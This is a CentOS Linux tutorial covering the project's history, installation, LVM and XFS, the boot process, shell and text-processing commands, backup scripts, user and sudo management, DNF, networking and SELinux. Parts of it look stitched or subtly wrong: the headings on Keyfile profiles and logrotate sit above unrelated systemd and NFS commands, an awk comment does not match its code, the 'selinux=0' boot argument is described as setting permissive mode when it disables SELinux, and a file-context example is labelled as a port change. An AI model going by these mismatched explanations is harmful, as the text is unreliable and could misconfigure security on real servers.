In 2002, Gregory Kurtzer started the CAOS Linux project (Community Active Operating System) with the goal of creating a community-driven, stable Linux operating system for clustering and server deployments.
As the project progressed, there was a growing community demand for a free, stable enterprise Linux distribution that mirrored the enterprise-grade stability of Red Hat Enterprise Linux (RHEL).
To meet this need, the project shifted focus toward rebuilding RHEL from its freely available Source RPMs (SRPMs). This effort led to the creation of CentOS (Community ENTerprise Operating System) in 2004.
The founding team included Gregory Kurtzer, Rocky McGaugh, Lance Davis, and David Parsley.
The core value proposition of CentOS was simple but revolutionary: 100% binary compatibility with RHEL, providing an enterprise-class operating system with zero licensing costs, no subscription requirements, and community-supported forums.
The Core Development & RHEL Version Mapping
Red Hat releases the source code for RHEL packages under the GNU General Public License (GPL). CentOS developers stripped out Red Hat trademarks, logos, and artwork, compiled the source code, and packaged it back into installable RPMs.
This downstream rebuild process created a parallel version timeline mapping directly to RHEL major and minor releases:
RHEL Version --> CentOS Rebuild Version --> Release Date
RHEL 3.x --> CentOS 3.1 --> March 2004
RHEL 4.x --> CentOS 4.0 --> March 2005
RHEL 5.x --> CentOS 5.0 --> April 2007
RHEL 6.x --> CentOS 6.0 --> July 2011
RHEL 7.x --> CentOS 7.0 --> July 2014
RHEL 8.x --> CentOS 8.0 --> September 2019
Each major release of CentOS inherited RHEL’s long-term support (LTS) lifecycle, guaranteeing 10 years of security updates and maintenance, making it the absolute standard for web hosting providers, academic institutions, and enterprise server infrastructures.
The Red Hat Acquisition (2014)
In January 2014, Red Hat announced that it was officially sponsoring the CentOS project.
Under the agreement, the CentOS trademark was transferred to Red Hat, and a new governing board was formed to oversee the project, consisting of both Red Hat employees and core CentOS developers.
Red Hat hired several key CentOS developers, providing financial stability, build infrastructure, and faster release cycles for downstream updates.
While this move initially reassured users of CentOS’s long-term survival, it also centralized control of the project under a single commercial entity.
The CentOS Stream Pivot & EOL Shock (2020)
On December 8, 2020, Red Hat and the CentOS Governing Board announced a radical shift in the project’s direction.
CentOS Classic (the downstream rebuild) was terminated.
The CentOS project pivoted entirely to CentOS Stream, an upstream development platform that sits between Fedora and RHEL.
The timelines for support were dramatically cut:
Distro Version --> Original EOL Date --> New EOL Date
CentOS 8 --> May 2029 --> December 31, 2021
CentOS 7 --> June 30, 2024 --> June 30, 2024 (Kept)
This decision meant that CentOS 8’s lifecycle was shortened by over seven years, leaving millions of production systems stranded.
Red Hat positioned CentOS Stream as the future: instead of being a downstream clone that received updates after RHEL, CentOS Stream would serve as the development branch ahead of RHEL releases.
The Downstream Legacy & Modern Successors
The termination of CentOS Classic created a massive void in the enterprise hosting space, driving the creation of new open-source downstream rebuilds:
Rocky Linux: Founded by original CentOS co-founder Gregory Kurtzer to preserve the downstream rebuild philosophy, governed by the RESF.
Alma Linux: Created by CloudLinux and transitioned into a community-owned foundation (AlmaLinux OS Foundation).
Oracle Linux: Oracle’s own downstream RHEL clone, which has existed since 2006.
Meanwhile, CentOS Stream continues to serve as the public development branch for RHEL 9 and future releases.
Introduction
What is CentOS?
CentOS (Community Enterprise Operating System) is an enterprise-class Linux distribution derived from the sources of Red Hat Enterprise Linux (RHEL).
In its classic form, it was a downstream, binary-compatible clone of RHEL.
In its modern form, CentOS Stream is the upstream development branch for RHEL, containing packages that are slated for upcoming RHEL minor releases.
It represents a stable, community-backed server OS that forms the foundation of modern Linux cloud architectures, virtualization nodes, and system administration tooling.
Upstream vs Downstream Development Models
To understand CentOS, you must understand its position in the Red Hat ecosystem:
Fedora: The rapid-innovation branch where new technologies are introduced. High velocity, updated every 6 months, short lifecycles.
CentOS Stream: The continuous delivery pipeline that serves as the upstream source for the next minor release of RHEL. It is stable enough for production but undergoes frequent package updates.
RHEL: The commercial enterprise operating system, featuring paid support, hardware certifications, and strict stability boundaries.
Rocky/Alma/Oracle Linux: Downstream rebuilds of RHEL, matching RHEL 1:1 package-for-package.
Advantages of CentOS
Enterprise Stability: Packages undergo exhaustive testing in Fedora and RHEL before reaching stable CentOS channels.
Long Lifecycles: Major versions historically received up to 10 years of security updates (and CentOS Stream versions align with RHEL active support windows).
RHEL Compatibility: Commands, services, configurations, and administrative skills learned on CentOS translate 1:1 to commercial RHEL environments (skills also apply directly to Fedora, Rocky Linux, and Alma Linux).
Zero Cost: Full enterprise feature set, including security controls like SELinux, firewalld, and high-performance filesystems, without subscription fees.
Massive Software Repository: Access to official BaseOS and AppStream repos, supplemented by the EPEL repository and RPM Fusion.
Disadvantages of CentOS
CentOS Stream Shift: CentOS Stream is no longer a strict downstream clone; it contains packages slightly ahead of RHEL, which can occasionally introduce behavioral variations.
Older Software Versions: To preserve stability, CentOS runs conservative versions of core utilities (e.g., Python, GCC, PostgreSQL). Developers wanting cutting-edge packages must use AppStream modules or third-party repositories.
Source Code Accessibility Restrictions: Red Hat’s changes to source code availability have made downstream rebuilding more complex for the community.
Resource Footprint: RHEL-family OS footprints are typically larger than minimal distributions like Alpine Linux or Debian.
Core Use Cases
Production Web Servers: Ideal for running Apache, Nginx, PHP, and databases (LAMP/LEMP stacks) in virtualized cloud environments.
Enterprise Databases: Hosts high-load PostgreSQL, MariaDB, and Oracle Database instances.
Development Environments: Acts as a local staging environment for software destined to be deployed on RHEL production cloud infrastructures.
Virtualization Hosts: Supports Kernel-based Virtual Machines (KVM) and container runtimes (Podman, Docker) with hardware-level stability.
CentOS vs Alternative Distros
Feature
CentOS Stream
Ubuntu Server
Debian
Alpine Linux
Base Family
Red Hat / RHEL
Debian / Ubuntu
Debian
Independent
Package Format
RPM
DEB
DEB
APK
Package Manager
DNF / YUM
APT
APT
APK
Default Security
SELinux
AppArmor
None / Optional
grsecurity / PaX
Release Cycle
Continuous (Upstream)
LTS (2 Years)
LTS (2-3 Years)
Stable (6 Months)
Target Use Case
Enterprise Clouds
Cloud / Devs
Stable Servers
Containers / Embedded
Installation & Setup
System Requirements
To deploy CentOS Stream, the target hardware must meet the following specifications:
Metric --> Minimal (CLI Server) --> Server with GUI (GNOME)
CPU Architecture --> x86_64, aarch64, s390x --> x86_64, aarch64
CPU Cores --> 1 Core (2 recommended) --> 2 Cores (4 recommended)
RAM --> 1.5 GB --> 4 GB+
Disk Space --> 10 GB --> 30 GB+ (SSD preferred)
Network Interface --> 1x Ethernet Port --> 1x Ethernet / Wi-Fi Card
ISO Downloading and Verification
Always download official ISOs from the CentOS mirrors.
Once downloaded, verify the SHA-256 hash of the ISO to ensure data integrity and prevent security compromise.
# Download the CentOS Stream ISO and the SHA256SUM file# Run the verification command:sha256sum CentOS-Stream-9-latest-x86_64-dvd1.iso# Compare the output hash with the one in the SHA256SUM manifest:# Output: 5f98a28e9389e1b2... CentOS-Stream-9-latest-x86_64-dvd1.iso
Installation Media Creation
Use the dd command on Linux to write the ISO to a USB drive:
# Identify the USB block device (e.g., /dev/sdb). Do not target your system drive!lsblk# Write the ISO to the block device directlysudo dd if=CentOS-Stream-9-latest-x86_64-dvd1.iso of=/dev/sdb bs=4M status=progress conv=fdatasync
Partitioning Layouts
CentOS defaults to Logical Volume Manager (LVM) and the XFS filesystem.
Standard partition allocation recommendations for a 100 GB server disk:
Partition --> Size --> Type --> Mount Point --> Description
/dev/sda1 --> 600 MB --> FAT32 --> /boot/efi --> EFI System Partition (ESP)
/dev/sda2 --> 1 GB --> XFS --> /boot --> Static files for boot loader & kernel
/dev/sda3 --> Rest --> LVM PV --> [LVM Volume] --> Physical volume containing LVM groups
Managing LVM Volumes post-install:
# Display LVM infosudo pvs # Physical Volumessudo vgs # Volume Groupssudo lvs # Logical Volumes# Extend a logical volume with XFS filesystem online# 1. Extend the logical volume pathsudo lvextend -L +10G /dev/mapper/cs-root# 2. Resize the XFS file system to fill the extended spacesudo xfs_growfs /
XFS vs Ext4 Filesystems
CentOS uses XFS as its default filesystem.
XFS:
Optimized for high-throughput, parallel I/O operations.
Supports filesystems up to 8 Exabytes.
Allocates space using Allocation Groups (AGs) to improve multi-threaded performance.
Warning: XFS filesystems cannot be shrunk online or offline. If you need to shrink filesystems frequently, partition with Ext4 instead.
Ext4:
Standard journaling filesystem.
Supports shrinking and growing operations.
Faster metadata operations on small files compared to XFS.
First Boot Configurations
Configure core settings immediately after installation:
# 1. Update the local package metadata cache and update all packagessudo dnf update -y# 2. Configure the system hostnamesudo hostnamectl set-hostname node01.enterprise.local# 3. Synchronize system time using chronysudo systemctl enable --now chronyd# Check chrony sync statuschronyc tracking# Show active time sourceschronyc sources -v# 4. Set the system timezonesudo timedatectl set-timezone UTC
Kernel & Architecture
The Monolithic Kernel Architecture
The Linux kernel is monolithic: all operating system services (process scheduling, virtual memory management, device drivers, network stacks, filesystem drivers) run in the supervisor CPU execution ring (Kernel Space).
Red Hat commits to strict Application Binary Interface (ABI) stability across major releases.
This guarantees that software compiled on version 9.0 will continue to run without recompilation on version 9.4, 9.9, etc.
To achieve this, Red Hat backports bug fixes, performance improvements, and security patches to the baseline kernel version (e.g., kernel 5.14 in CentOS Stream 9) instead of advancing to newer upstream versions.
The Linux Boot Process Step-by-Step
POST (Power-On Self-Test): System firmware (BIOS or UEFI) initializes and tests hardware.
Boot Loader (GRUB2): The firmware reads the boot block (MBR) or the EFI System Partition (ESP) to load GRUB2.
Kernel Loading: GRUB2 reads its configuration file /boot/grub2/grub.cfg, loads the compressed kernel image (vmlinuz-<version>), and extracts it into RAM.
initramfs Mount: GRUB2 loads the initramfs-<version>.img (Initial RAM Filesystem, which is dracut-generated) into memory. The kernel uses the temporary drivers in initramfs to mount the real root filesystem (/).
systemd Initialization: The kernel starts /sbin/init (which is symlinked to systemd) as Process ID 1 (PID 1).
Target Execution: systemd processes system units, mounts filesystems, starts daemons, and shifts the system into the configured target state (e.g., multi-user.target or graphical.target).
Linux File System Hierarchy (FHS)
CentOS adheres strictly to the Filesystem Hierarchy Standard:
/
├── boot/ Kernel configurations, initramfs images, and GRUB2 files
├── dev/ Device files representing hardware interfaces (e.g., /dev/sda, /dev/urandom)
├── etc/ System-wide configuration files (e.g., /etc/fstab, /etc/resolv.conf)
├── home/ Standard user home directories
├── media/ Auto-mount directory for removable media (USBs, CD-ROMs)
├── mnt/ Temporary manual mount points for administrators
├── opt/ Optional, third-party proprietary applications (e.g., /opt/google)
├── proc/ Virtual filesystem exposing kernel and process state metrics
├── root/ Home directory for the root user (UID 0)
├── run/ Runtime transient data (PIDs, socket connections, cleared on boot)
├── sys/ Virtual filesystem exposing hardware parameters and kernel drivers
├── tmp/ Temporary files (often mounted on RAM as tmpfs)
├── usr/ User binaries, libraries, and documentation
│ ├── bin/ Standard user commands (ls, cat, systemctl)
│ ├── sbin/ System administration commands (fdisk, iptables, ip)
│ ├── lib/ 32-bit shared library files
│ └── lib64/ 64-bit shared library files
└── var/ Variable data that persists across reboots
├── log/ System and service log files (messages, secure, audit)
└── spool/ Print queues and mail spools
GRUB2 Custom Boot Configurations
Do not edit /boot/grub2/grub.cfg directly, as it is overwritten during kernel updates. Modify /etc/default/grub instead:
# View/Edit GRUB configurationssudo cat /etc/default/grub# Rebuild the GRUB configuration file# For UEFI systems:sudo grub2-mkconfig -o /boot/efi/EFI/centos/grub.cfg# For Legacy BIOS systems:sudo grub2-mkconfig -o /boot/grub2/grub.cfg
Managing default kernels using the grubby tool:
# Get the default boot kernelsudo grubby --default-kernel# Get information on all bootable kernelssudo grubby --info=ALL# Change the default kernel to a specific entrysudo grubby --set-default=/boot/vmlinuz-5.14.0-362.8.1.el9_3.x86_64# Append kernel arguments (e.g., force SELinux into permissive mode at boot)sudo grubby --update-kernel=ALL --args="selinux=0"# Remove specific boot argumentssudo grubby --update-kernel=ALL --remove-args="selinux=0"
Shell & Terminal
Shell Types in CentOS
sh (Bourne Shell): Legacy UNIX shell; symlinked to bash on modern systems.
bash (Bourne-Again Shell): The default shell for CentOS users, containing advanced command history, tab completion, and expansion.
zsh (Z Shell): Feature-rich shell with advanced theme support and autocorrect modules; must be installed via dnf.
ksh (Korn Shell): Combines features of sh and csh; common in legacy enterprise environments.
Essential Commands Directory
File Operations
pwd # Show current working directory pathls -laF # Detailed file list with hidden files and trailing type indicatormkdir -p /opt/app/configs # Create nested directories safely without erroringcp -ar /var/www/ /backup/ # Copy directories while preserving attributes, permissions, and links recursivelymv srcfile.txt destdir/ # Move file to target directoryrm -rf /tmp/junk/ # Recursively force delete directory contents without confirmation promptln -s /etc/nginx/ nginx_lnk# Create a symbolic link pointing to a target directoryfind /var/log/ -name "*.log" -type f -size +10M # Find files ending in .log over 10MB in size
Process Control
ps auxf # Display running processes in a nested parent-child tree layouthtop # Launch interactive terminal process viewer (requires EPEL)pgrep -l nginx # Search process list for names matching 'nginx' and return their PIDskill -15 1234 # Send SIGTERM signal to PID 1234 to request graceful shutdownkill -9 1234 # Send SIGKILL signal to PID 1234 to terminate process instantlykillall php-fpm # Terminate all processes running under the name 'php-fpm'nohup /opt/script.sh & # Execute script in background and survive logout eventsjobs # Show current background jobs in the shell sessionbg %1 # Resume suspended job 1 in the backgroundfg %1 # Bring background job 1 to the active foreground
System Metrics
uname -r # Return the active running kernel release versionfree -h # Show total, used, and free memory (RAM) in human-readable sizesdf -hT # Output disk space usage by partition, showing filesystem typedu -sh /var/log/ # Estimate total disk space occupied by a directory pathuptime # Print system running duration, logged users, and average load metricslscpu # View CPU architectures, cores, caches, and capabilitieslsblk # Display block storage devices, sizes, and partition treess -tulnp # Show listening TCP and UDP sockets with numeric ports and PID associations
Archiving
tar -cvzf archive.tar.gz /etc/ # Create a gzip compressed tar archive of the /etc directorytar -xvzf archive.tar.gz -C /tmp/ # Extract gzip tar archive contents to the /tmp target directoryzip -r backup.zip /var/www/ # Recursively zip target filesunzip backup.zip -d /var/www/ # Extract zip files to a target directory
File Permissions
Permissions are divided into three scopes: Owner (User), Group, and Others (World).
Represented using numeric notation (octal) or symbolic characters:
Permission --> Octal --> Symbolic
Read --> 4 --> r
Write --> 2 --> w
Execute --> 1 --> x
None --> 0 --> -
# Set permissions: owner (read/write/execute), group (read/execute), others (read)chmod 754 script.sh# Set permissions symbolically: add execute to user, remove write from group & otherschmod u+x,go-w config.json# Change file ownership to user 'nginx' and group 'webmasters'chown nginx:webmasters /var/www/html/index.php
Special Permissions
SUID (Set User ID): File runs with the permissions of the file owner rather than the user executing it (represented by an ‘s’ in the user block: rwsr-xr-x).
SGID (Set Group ID): File runs with the group permissions of the owner. Directories with SGID set force newly created files to inherit the parent directory’s group instead of the creator’s group (represented by ‘s’ in the group block: rwxr-s-r-x).
Sticky Bit: Used on directories to prevent users from deleting or renaming files owned by other users, even if they have write access to the directory (represented by ‘t’ in the others block: rwxrwxrwt).
# Apply SUID (octal 4000)sudo chmod 4755 /usr/bin/privileged-bin# Apply SGID (octal 2000)sudo chmod 2775 /var/www/shared-dir/# Apply Sticky Bit (octal 1000)sudo chmod 1777 /tmp/shared-upload/# Security hardening: find all SUID binaries on the filesystemfind / -perm -4000 -type f 2>/dev/null
Access Control Lists (ACLs)
Standard user/group permissions (owner/group/others) are sometimes too coarse-grained. CentOS supports POSIX Access Control Lists (ACLs) to assign granular permissions to specific users or groups without altering file ownerships.
# View ACL settings on a directorygetfacl /var/www/html/secure-data/# Output:# # file: var/www/html/secure-data/# # owner: apache# # group: apache# user::rwx# user:developer1:rwx # Specific user ACL# group::r-x# mask::rwx# other::---# Grant read-write-execute permissions to a specific user 'developer1' on a filesudo setfacl -m u:developer1:rwx /var/www/html/secure-data/config.php# Grant read-only permissions to a group 'audit-team' on a directorysudo setfacl -m g:audit-team:r-x /var/www/html/secure-data/# Define default ACL permissions on a directory so that all newly created files inherit themsudo setfacl -d -m u:developer1:rwx /var/www/html/secure-data/# Remove a specific user ACL from a filesudo setfacl -x u:developer1 /var/www/html/secure-data/config.php# Remove all ACL settings recursively from a directorysudo setfacl -b -R /var/www/html/secure-data/
# Redirect stdout to a new file (overwrites file)echo "System Ready" > /var/log/status.txt# Append stdout to a fileecho "Reboot scheduled" >> /var/log/status.txt# Redirect errors to error.logls /root/ 2> /tmp/errors.log# Redirect both stdout and stderr to output.log/opt/backup.sh &> /var/log/backup-exec.log# Discard errors by redirecting to /dev/nullfind / -name "secret.txt" 2> /dev/null# Pipe stdout of command 1 as stdin to command 2cat /var/log/secure | grep "Failed password"
Advanced Text Processing
grep (Global Regular Expression Print)
# Case-insensitive, line-numbered search for "error" in directory logsgrep -rin "error" /var/log/nginx/# Return lines NOT matching the search patterngrep -v "INFO" application.log
sed (Stream Editor)
# Replace "http" with "https" in a configuration file (in-place modification)sed -i 's/http/https/g' config.xml# Delete lines 5 through 10 from a filesed -i '5,10d' list.txt# Parse access logs: strip out IP addresses and extract pathssed -E 's/^([0-9.]+) - - \[(.*)\] "(GET|POST) ([^ ]+) HTTP.*/\1 -> \4/' /var/log/nginx/access.log
awk (Pattern Scanning and Processing)
# Print the username (field 1) and shell (field 7) from /etc/passwd using ':' as delimiterawk -F':' '{print $1 " uses " $7}' /etc/passwd# Print third column values only if the first column equals "systemd"ps aux | awk '$1 == "dbus" {print $2}'# Scan an Nginx log file and output a summary table counting hits per IP addressawk '{ip[$1]++} END {printf "%-20s %s\n", "IP Address", "Hits"; for (i in ip) printf "%-20s %d\n", i, ip[i]}' /var/log/nginx/access.log | sort -rn -k2 | head -n 10
cut
# Extract characters 1 through 10 from each line of inputcut -c1-10 syslog.log
Shell Scripting Basics
Script 1: Basic Audit System
Save this as sys_audit.sh and make it executable: chmod +x sys_audit.sh.
#!/bin/bash# ==============================================================================# Script: sys_audit.sh# Description: Performs basic system metric collections and writes report# Author: VR-Rathod# ==============================================================================# Define VariablesREPORT_FILE="/var/log/sys_report.txt"MAX_USAGE=80# Print Bannerecho "=== RUNNING SYSTEM AUDIT SCENARIO ==="# Define Array of Core ServicesSERVICES=("sshd" "firewalld" "chronyd")# Functionscheck_service() { local sname=$1 # Check active status of the service systemctl is-active --quiet "$sname" if [ $? -eq 0 ]; then echo "Service [$sname]: ACTIVE" else echo "Service [$sname]: INACTIVE (Alert!)" >&2 fi}# Clear old report> "$REPORT_FILE"# Collect System Metrics{ echo "Audit execution date: $(date)" echo "Hostname: $(hostname)" echo "Kernel: $(uname -r)" echo "-----------------------------------"} >> "$REPORT_FILE"# Loop through defined services arrayecho "Checking critical services..."for svc in "${SERVICES[@]}"; do check_service "$svc" >> "$REPORT_FILE"done# Conditional Check: Disk Usage on Root Partition# Extract numeric percentage valueDISK_PERCENT=$(df -h / | awk 'NR==2 {print $5}' | cut -d'%' -f1)if [ "$DISK_PERCENT" -gt "$MAX_USAGE" ]; then echo "WARNING: Root disk utilization is critical at ${DISK_PERCENT}%" | tee -a "$REPORT_FILE"else echo "Root disk space status: Normal (${DISK_PERCENT}%)" >> "$REPORT_FILE"fiecho "Report written to $REPORT_FILE."exit 0
Save this script as /opt/scripts/backup_manager.sh. It demonstrates intermediate-to-advanced scripting practices, including signal trapping, status logging, database backups, directory archives, disk space calculation, and file cleanup thresholds.
#!/bin/bash# ==============================================================================# Script: backup_manager.sh# Description: Production backup manager for CentOS/RHEL enterprise nodes# Features: MariaDB export, directory gzip compression, aging prune, locks# ==============================================================================# Define Configuration ParametersBACKUP_SRC="/var/www/html"BACKUP_DEST="/backups/enterprise_app"LOG_FILE="/var/log/backup_manager.log"LOCK_FILE="/var/run/backup_manager.lock"RETENTION_DAYS=7# Ensure log path is accessibletouch "$LOG_FILE"# Log Logger Helperlog_event() { local level=$1 local message=$2 echo "[$(date '+%Y-%m-%d %H:%M:%S')] [${level}] - ${message}" | tee -a "$LOG_FILE"}# Signal Trapping for Cleanup on termination or unexpected errorscleanup() { log_event "WARNING" "Backup script received exit/termination signal. Releasing lock." rm -f "$LOCK_FILE" exit 1}trap cleanup INT TERM EXIT# Check concurrency lockif [ -e "$LOCK_FILE" ]; then log_event "ERROR" "Backup job already active. File lock found: $LOCK_FILE. Exiting." exit 1fitouch "$LOCK_FILE"log_event "INFO" "Starting enterprise system backup process..."# Ensure target destinations existif [ ! -d "$BACKUP_DEST" ]; then mkdir -p "$BACKUP_DEST" log_event "INFO" "Created backup directory: $BACKUP_DEST"fi# Perform DB DumpDB_FILE="${BACKUP_DEST}/db_backup_$(date '+%Y%m%d_%H%M%S').sql"log_event "INFO" "Exporting database structure..."mysqldump --all-databases > "$DB_FILE" 2>/dev/nullif [ $? -eq 0 ]; then log_event "INFO" "Database exported successfully to: ${DB_FILE}" gzip "$DB_FILE"else log_event "ERROR" "Database backup failed!" # Script exits; trap will remove the lock file automatically exit 1fi# Compress source directoriesTARGZ_FILE="${BACKUP_DEST}/fs_backup_$(date '+%Y%m%d_%H%M%S').tar.gz"log_event "INFO" "Compressing source files: $BACKUP_SRC..."tar -czf "$TARGZ_FILE" -C "$BACKUP_SRC" .if [ $? -eq 0 ]; then log_event "INFO" "File system compressed successfully to: ${TARGZ_FILE}"else log_event "ERROR" "File compression failed!" exit 1fi# Retention cleanup of old fileslog_event "INFO" "Pruning backup files older than ${RETENTION_DAYS} days..."find "$BACKUP_DEST" -type f -mtime +"$RETENTION_DAYS" \( -name "*.sql.gz" -o -name "*.tar.gz" \) -exec rm -v {} \; >> "$LOG_FILE" 2>&1log_event "INFO" "Backup cycle completed successfully."# Remove lock file manually and disable trap handler prior to clean exitingtrap - INT TERM EXITrm -f "$LOCK_FILE"exit 0
User & Group Management
Account Types
Root Account (Superuser): UID 0. Complete control over OS variables, processes, hardware, and kernel structures.
System Users: UID 1 to 999. Created for background daemons, system services, and processes (e.g., mail, dbus, nginx, postgres). They are locked from interactive login.
Regular Users: UID 1000+. Intended for human administrators, developers, and users.
User Control Commands
# Create user 'deployer' with bash shell, custom home path, and descriptive commentsudo useradd -m -s /bin/bash -c "Automation Account" deployer# Set password for the new usersudo passwd deployer# Modify user 'deployer' to append them to the system administration group 'wheel'sudo usermod -aG wheel deployer# Change user shell to zshsudo usermod -s /bin/zsh deployer# Lock the user account (prevents login via password validation)sudo usermod -L deployer# Unlock the user accountsudo usermod -U deployer# Delete user 'deployer' and remove their home directory and mailbox filessudo userdel -r deployer
Group Control Commands
Groups simplify permission management by allowing permissions to be granted to a collective set of users.
# Create new system group 'devops'sudo groupadd devops# Add user to the groupsudo gpasswd -a deployer devops# Remove user from the groupsudo gpasswd -d deployer devops# Delete the groupsudo groupdel devops
Critical Identity Files
/etc/passwd: Stores user account parameters (read-accessible to all users).
On CentOS, members of the wheel group are granted administrator authorization via sudo.
To grant root permissions, configure rule lines using the /sbin/visudo command:
# Launch visudo to safely edit /etc/sudoerssudo visudo# Configuration Rule Examples:# 1. Standard wheel access (requires password verification)# %wheel ALL=(ALL) ALL# 2. Allow user 'deployer' to run systemctl service restarts without password prompt# deployer ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart nginx# 3. Deny user 'deployer' from running commands as root shell# deployer ALL=(ALL) !/usr/bin/bash, !/usr/bin/sh
Sudoers security rules:
Never edit /etc/sudoers with generic editors like vim or nano. If you corrupt the file structure, the sudo command will break, locking you out of root operations. Always use visudo.
Password Aging Policies
Enforce credential changes on regular schedules to comply with enterprise security baselines.
# View password expiration parameters for user 'deployer'sudo chage -l deployer# Force user to change password on their next login sessionsudo chage -d 0 deployer# Set maximum password validity period to 90 dayssudo chage -M 90 deployer# Set warning timeline alert to 7 days before password expiressudo chage -W 7 deployer
Package Management
The YUM to DNF Transition
Historically, CentOS versions 5, 6, and 7 utilized the YUM (Yellowdog Updater, Modified) package manager.
In CentOS 8, YUM was replaced by DNF (Dandified YUM), which is also the default package manager for CentOS Stream 9.
Key differences:
DNF utilizes libsolv for modern dependency resolution algorithms.
DNF handles package transactions with a smaller memory footprint and faster repository metadata parsing.
DNF supports modularity streams (AppStream) allowing parallel versions of development stacks to coexist.
On CentOS Stream 9, /usr/bin/yum is simply a symbolic link pointing to /usr/bin/dnf.
Common DNF Package Management Commands
# Search for a package by keyworddnf search redis# View details about a packagednf info redis# Install a package from enabled repositoriessudo dnf install redis -y# Install a local RPM package file, resolving dependencies from remote repos automaticallysudo dnf localinstall ./custom-agent.rpm -y# Remove a packagesudo dnf remove redis -y# Remove package and clean out orphaned dependenciessudo dnf autoremove -y# Clean the package download database cache and metadata filessudo dnf clean all# Check for updates without performing installationdnf check-update# Update all installed packages to their latest versionssudo dnf upgrade -y
Transaction History
DNF tracks all installation transactions in a historical database, allowing rollbacks:
# Display DNF transaction historydnf history# View details of a specific transaction IDdnf history info 12# Undo the actions of transaction ID 12 (removes installed packages, restores removed ones)sudo dnf history undo 12
Modularity (AppStream Modules)
AppStream modules allow CentOS to serve multiple versions of languages or databases (e.g., Node.js 18, 20, 22) without requiring third-party repositories.
# List all available modules and streamsdnf module list# List streams specific to pythondnf module list python# Enable a specific stream (e.g., nodejs version 20)sudo dnf module enable nodejs:20 -y# Install the default profile of the enabled streamsudo dnf module install nodejs -y# Switch to a different stream (requires module reset)sudo dnf module reset nodejs -ysudo dnf module enable nodejs:22 -ysudo dnf module install nodejs -y
Creating a Custom Local RPM Repository
Administrators can build private software archives and distribute them internally.
# 1. Install creative utilitiessudo dnf install createrepo -y# 2. Create target directory and place RPM files insidesudo mkdir -p /var/www/html/repos/enterprise/sudo cp /tmp/custom-app.rpm /var/www/html/repos/enterprise/# 3. Generate repository metadata xml structuressudo createrepo /var/www/html/repos/enterprise/# 4. Write a custom repository config file in /etc/yum.repos.d/sudo tee /etc/yum.repos.d/enterprise.repo << 'EOF'[enterprise]name=Enterprise Custom Repositorybaseurl=file:///var/www/html/repos/enterprise/enabled=1gpgcheck=0EOF# Update package manager listsdnf makecache
Enabling EPEL & CRB Repositories
EPEL (Extra Packages for Enterprise Linux) is a community repository maintained by the Fedora Project that provides thousands of high-quality software packages (e.g., htop, fail2ban) that are not included in the default CentOS repositories.
The CRB (CodeReady Builder) repository contains development headers and build utilities needed by many EPEL packages.
# 1. Enable the CRB repositorysudo dnf config-manager --set-enabled crb# 2. Install the EPEL repository configuration packagesudo dnf install epel-release -y# 3. Clean and rebuild cachessudo dnf clean all && dnf makecache
Low-level RPM Commands
When DNF is not needed for dependency resolution, use the rpm utility directly:
# Query all installed RPM packagesrpm -qa# Find which package owns a specific filerpm -qf /etc/nginx/nginx.conf# List all files installed by a specific packagerpm -ql nginx# Install a raw RPM package file (verbose, showing progress hashes)sudo rpm -ivh agent.rpm# Verify the integrity of a package's files (checks MD5, size, permissions against database)rpm -V nginx
Networking
Networking Commands
Modern CentOS installations use iproute2 utilities.
# View IP configurationsip addr show# View active routing tablesip route show# Expose listening ports and protocol detailsss -tulnp# Perform a DNS lookupdig enterprise.local# Retrieve HTTP headers from servercurl -I https://www.centos.org
NetworkManager & nmcli
CentOS manages network interfaces using NetworkManager.
Use the nmcli CLI utility or the terminal GUI nmtui to modify configurations.
# List active connectionsnmcli connection show# Add a static IP configuration to interface 'eth0'sudo nmcli connection add con-name static-eth0 ifname eth0 type ethernet ip4 192.168.1.50/24 gw4 192.168.1.1# Set DNS servers for static-eth0sudo nmcli connection modify static-eth0 ipv4.dns "8.8.8.8 8.8.4.4"# Set method to manual (static)sudo nmcli connection modify static-eth0 ipv4.method manual# Bring the connection upsudo nmcli connection up static-eth0
Keyfile Connection Profiles vs Legacy ifcfg Files
Historically, configurations were stored in /etc/sysconfig/network-scripts/ifcfg-<interface>.
In CentOS Stream 9, NetworkManager uses the standardized INI-style Keyfile connection profiles located under /etc/NetworkManager/system-connections/:
# Load the new service unitsudo systemctl daemon-reload# Start and enable the servicesudo systemctl enable --now enterprise-app.service# Inspect systemd logs for the servicesudo journalctl -u enterprise-app.service -n 50 --no-pager
Logrotate Custom Rules
CentOS uses logrotate to manage logs and prevent disks from filling up.
# 1. Install NFS utilitiessudo dnf install nfs-utils -y# 2. Create the directory to exportsudo mkdir -p /mnt/shared-nfssudo chown nobody:nobody /mnt/shared-nfs# 3. Export the share in /etc/exports# Format: export_directory target_client(options)echo "/mnt/shared-nfs 192.168.1.0/24(rw,sync,no_subtree_check)" | sudo tee -a /etc/exports# 4. Start NFS server servicessudo systemctl enable --now nfs-server# 5. Open NFS services in firewalldsudo firewall-cmd --permanent --add-service=nfssudo firewall-cmd --reload
NFS Client Mounting
# Mount the remote NFS share locallysudo mount -t nfs 192.168.1.10:/mnt/shared-nfs /mnt/local-nfs/
Samba Shared Directory
# 1. Install Samba packagessudo dnf install samba samba-client -y# 2. Add config blocks in /etc/samba/smb.conf# [corporate-share]# path = /var/shared-smb# writable = yes# browseable = yes# guest ok = no# 3. Create Samba user password (user must already exist in system)sudo smbpasswd -a deployer# 4. Start Samba servicessudo systemctl enable --now smb
Security Hardening & Ethical Hacking
SELinux Deep Dive
Security-Enhanced Linux (SELinux) is a kernel module that implements Mandatory Access Control (MAC) based on the principle of least privilege. Unlike DAC (Discretionary Access Control), which checks user permissions, SELinux policies check process (subject) access to files (objects) based on security labels.
SELinux operates in one of three modes:
Enforcing: Policy is active, access is denied if violations occur, and violations are logged.
Permissive: Policy is active, violations are not blocked, but violations are logged (useful for troubleshooting).
Disabled: SELinux is completely inactive in the kernel.
# Check current SELinux statusgetenforce# Temporarily set mode to permissivesudo setenforce 0# Temporarily set mode to enforcingsudo setenforce 1# Permanently configure mode in /etc/selinux/config# Modify: SELINUX=enforcing
The Type is the most critical element for standard administration policies (referred to as type enforcement).
# View files with security contextsls -Z /var/www/html/index.php# Output: -rw-r--r--. root root unconfined_u:object_r:httpd_sys_content_t:s0 /var/www/html/index.php# View running processes with security contextsps -eZ | grep nginx# Modify context type permanently (e.g., changing port to serve web resources)sudo semanage fcontext -a -t httpd_sys_content_t "/custom-web(/.*)?"# Apply the modified policy context to the filesystem path recursivelysudo restorecon -R -v /custom-web/
SELinux Booleans
Booleans act as on/off switches within SELinux rules to change policy behaviors without recompiling policy source code.
